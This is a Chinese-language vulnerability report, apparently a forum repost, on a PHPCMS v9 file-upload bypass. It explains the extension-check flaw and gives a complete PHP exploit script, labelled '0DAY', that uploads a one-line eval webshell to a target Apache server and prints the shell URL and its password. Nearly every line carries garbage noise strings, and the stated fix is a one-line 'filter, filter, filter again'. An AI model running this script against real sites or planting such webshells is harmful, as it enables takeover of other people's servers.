漏洞类型: 文件上传导致任意代码执行
, ]6 c& e; L' i+ O
: i; Z3 B( q9 b9 K% q( D简要描述:# k9 ~' X( s1 m4 o
$ x0 Z# A4 z& X4 j
phpcms v9 getshell (apache)1 c) F+ [( ~8 d. g6 t" w
详细说明:/ n" d( g+ |8 H" v) r1 u K
9 ~2 b/ ] S+ s3 j2 s, O* |; Q
漏洞文件:phpcms\modules\attachment\attachments.php
# l# P# ~$ E, A9 ]0 ?# V- M) W: i! q. [" K5 g/ j
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
" N7 V- w. v K1 T5 D后缀检测:phpcms\modules\attachment\functions\global.func.php8 z' h; t3 T3 x% p( _$ n' T; t7 I
; b9 C& y; C$ c1 r& X; s7 w % M& F. y7 ~2 u# ~
5 |! ^1 j: U4 m2 C( u3 U9 _# Z, xfunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
* u. e6 T7 \5 N, |" n- C
% i/ `6 |: Y l7 l关键函数:0 r, A+ p/ a2 V) W5 m0 l2 v$ h# e* |
, e9 {$ M" }% G8 ?& @1 G7 \5 H: u
& p1 R; \6 F; B5 {7 F* K
* L, ^# b2 l4 U( B# ^* g. N1 |; j
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } ! ]: L5 Q7 t7 b
, j, G7 R' f$ i6 {: ^0 d) W4 z* G) p4 u
Fileext函数是对文件后缀名的提取。
+ W& O2 g% F$ s0 G: O1 d0 h& U# [根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php) o) e8 T# o+ Q Q& @ ^
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。! W W! U1 M, t+ K1 |
我们回到public function crop_upload() 函数中# a8 d- S. B3 L; W" v
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();4 q% K1 l' s2 i. ]$ a
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数; z, e" `# h. k) t% \. j w
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。. @9 ?% R. i% ^. i# c! n
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
* O% p ~! x, E& `* M" g7 G4 \最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
& s" f1 a. ~# n看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。9 h9 c* R' A9 B) D( t
漏洞证明:5 ^$ o( J& m' ?4 w! d! p& S
$ d; b, b8 a& H! f: m
exp:
! a R3 |) u4 g D* I) @8 v0 j; P f% l, y( u* E1 W* d) E; G# V
<?php
+ u, U1 r( G6 k$ q1 r, Z9 |error_reporting(E_ERROR);1 m {2 k3 q6 ?$ v
set_time_limit(0);
) G+ H: {. ]' k/ o$ Q' A$pass="ln";. q. o; _: F7 L0 q. w0 `
print_r('
B# m- i4 E- }: V, R! L% d+---------------------------------------------------------------------------+
! K/ ?& S9 t/ U( g' Y! W& `PHPCms V9 GETSHELL 0DAY
: \/ x& s; g4 A2 r; w5 W0 x; Mcode by L.N.
! e+ }5 C" I7 q' ~9 U
0 n- H/ W& p% I) B5 ~apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
6 ^7 m. ^4 b9 v5 H% U8 n+---------------------------------------------------------------------------+- t: h( r/ m4 r7 p" ?
');
! H! `6 J$ T* n* |. k5 }if ($argc < 2) {' C6 @* b4 g8 W. h3 X
print_r('
4 K' v1 {6 ~( n! `. K6 [+---------------------------------------------------------------------------+
1 r( w6 r3 f8 `/ ]8 kUsage: php '.$argv[0].' url path
! N. M% ]. Y! y: C% g
/ F: x) ~. g; l: E( z3 c, v2 ?Example:2 J0 J6 O$ k5 Y4 S- } N
1.php '.$argv[0].' lanu.sinaapp.com& X% V* O/ v; H2 n8 R
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
) m0 a( @3 }2 `" k) }+---------------------------------------------------------------------------+$ T! J3 [5 `: c
');, i/ h f% O5 V
exit;
" f6 f+ W5 c. B}0 U+ Q* s0 O' n5 \9 r
+ s" @* K' P4 x l$ D$url = $argv[1];1 a7 v! N m N4 P, b/ B
$path = $argv[2];
7 N1 s. U2 `$ o4 x& ^$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';+ k0 H5 p$ [. _8 \( _/ o
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';2 V3 W* [; @# C! j, x0 g
if($ret=Create_dir($url,$path))" A* q# b- Y; |
{4 w8 z9 m4 r, r
//echo $ret;
, F, c9 _( j* y9 x$pattern = "|Server:[^,]+?|U";
4 U! V& K& R8 {% R. Epreg_match_all($pattern, $ret, $matches);* }. |1 T. l# P% b' }' u
if($matches[0][0])
% X* ~9 ?$ {3 v3 F& _3 C' ?, v% a1 C{
" z' A3 g A: f. D T$ Pif(strpos($matches[0][0],'Apache') == false)
6 |* ^# Z5 u3 `{
9 P, D+ N0 W& l/ C4 @: S2 {echo "\n亲!此网站不是apache的网站。\n";exit;0 B& s9 Z( Q0 `$ G O
}
: [( z4 z* w+ e$ l}
' c0 g( T* B: J9 J5 p- a4 R$ret = GetShell($url,$phpshell,$path,$file);
. j) l2 r, U: C* Y( G' k, ~1 y3 X$ v$pattern = "|http:\/\/[^,]+?\.,?|U";
M! G' `' b3 \1 f$ ^0 J" g7 npreg_match_all($pattern, $ret, $matches);+ J6 F7 y& W( v% y, y1 l6 B# p
if($matches[0][0])
7 g5 E4 S, [& U1 u' G& P7 z$ I* ^' Q{' X5 R$ h" V0 N8 ], T" z
echo "\n".'密码为: '.$pass."\n";5 h: ^' k! o. X+ ]# b+ Z
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;& {4 h$ @, K, r8 h) T
}
) H2 B, o' S5 k6 A5 lelse
; z8 t) k. F" }# k( a{, H8 F& }. N6 Z4 B2 W# p" }" K* `* j# I
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
" u$ W5 X7 D9 g' x4 qpreg_match_all($pattern, $ret, $matches);
7 h0 _6 }5 W/ U) |6 e+ t4 n* V- @if($matches[0][0])
5 n, \, Q5 M* z! `8 m{/ e# Y4 q# ^9 H' c; B
echo "\n".'密码为: '.$pass."\n";
+ K; q' @! a7 r2 [8 @5 Z: [( ?5 Iecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
* R+ y; X+ K5 ~9 b' w& ]1 {6 K}
9 Q8 u* N6 y% y8 i% |2 Jelse, Q. O' a* y# m4 t, v4 ^6 [3 i; L
{
) S! {1 H9 @8 R1 w& Wecho "\r\n没得到!\n";exit;
2 k0 C* c' i" x$ j5 c9 i! s, Q# a}* p: P$ H5 [6 c: Q6 d B8 c6 m
}
1 z) ~& V/ ?/ ]* k1 [3 n}
& R% n( Y1 W1 V* X9 n6 |7 d2 e* H6 O/ ~! Y& C6 I$ i4 p
function GetShell($url,$shell,$path,$js)7 o2 [1 l8 {# V
{. \5 X; H& z X' y$ u+ V; ?6 h3 T/ c
$content =$shell;
. m% b2 C6 _1 E* H$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
! P! J' s3 s- m6 V! y$data .= "Host: ".$url."\r\n";, \- l9 |6 E* j: i- ?7 |3 p8 A
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
4 d$ s# ~+ L" m9 w! x$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$ u5 \ _9 h1 B7 F4 i5 [, j$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
: K ^# P1 c7 Q- Z8 Z) H$data .= "Connection: close\r\n";% b {; |$ Y. c- d: V( a! v
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
* O& G: E" M1 |* Q$data .= $content."\r\n";. H0 k; O1 a6 f$ n
$ock=fsockopen($url,80);4 p9 x: {2 p# A$ L% t% D8 S
if (!$ock)0 h# G& ]1 I! w2 F
{
x! R) {2 o) o( o1 f [5 Q3 W eecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
7 }! S' g) f1 V3 j}# L- ?8 y/ t: m
else3 [; P. Q/ N5 C4 }) R, ~
{& a* C& n0 }+ N, R) Z
fwrite($ock,$data);
7 b& l6 @. J ~. o2 ~( A1 q) G$resp = '';/ Y$ m6 }" v6 N* b, C
while (!feof($ock))/ T$ h7 `$ j' N2 R
{
/ g3 [2 f9 g) K0 F$resp.=fread($ock, 1024);
8 d) V4 g4 M s}; \2 u( Q4 u, @ L7 b! _* ^
return $resp;
N' z+ K+ h/ a! p! R3 u}, E* R% f& M9 U8 m1 H* n0 ~
}
) G* D0 X! V* E, R& p+ G- E/ ~0 t* A9 j
function Create_dir($url,$path='')5 I' y6 J6 [4 X( F7 i
{
: o: L8 h, ?8 M6 z( ` X$ k4 c$content ='I love you';
+ r: Z. d2 z4 M# c$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
) P4 B8 c5 k, P& g! S" j2 R$data .= "Host: ".$url."\r\n";
5 `. E2 f( ~$ _3 a) y$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
l! }- O* |8 n0 a! i) ^" K2 k$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$ z2 R( y4 K# V5 V) ^4 }$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";9 ?8 C) r- [+ w9 u* c7 F
$data .= "Connection: close\r\n";5 y: N; ^. \, @0 c- f' H
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";2 Q# m9 y+ o+ V3 U) n3 O3 w' Q
$data .= $content."\r\n"; C% y8 C9 R; N$ F$ }# E
$ock=fsockopen($url,80);
5 p3 i6 M! c6 g. N$ D2 N1 bif (!$ock)
, Q# y* B7 _. A! P c1 f{
3 e; h5 o6 U' r! s% Pecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;/ b+ a2 p# B9 ]9 I: y5 ]
}
1 T1 x K) U/ g8 i/ G Qfwrite($ock,$data);) S& ^2 L% J+ v; u1 r/ {
$resp = '';3 i! I2 @- A0 x$ J. P! z9 V2 o
while (!feof($ock))
5 A8 p- s! R0 @+ b9 n: Q{
4 _0 S& d: ^4 O( B& P# c' W2 u$resp.=fread($ock, 1024);
; t; ?+ Q3 ^5 ]* Y$ F' w& q}; }) N& @( ^- G, }/ U" u) l5 e7 k
return $resp;
# P9 H% U# y! f' L/ ?/ b}; x6 H: _$ |; ~" w
?> , m- _( |" a9 Y0 q# B: l8 T
6 Z! T4 M- l8 P) r& F E
修复方案:$ |! `9 l4 O5 [, j5 Z. r4 x4 y
Y* V2 ^/ p' ?. ?& `过滤过滤再过滤
/ N w5 M( N$ h( M. n+ Y* d
* m: {) k; T% k5 z1 } |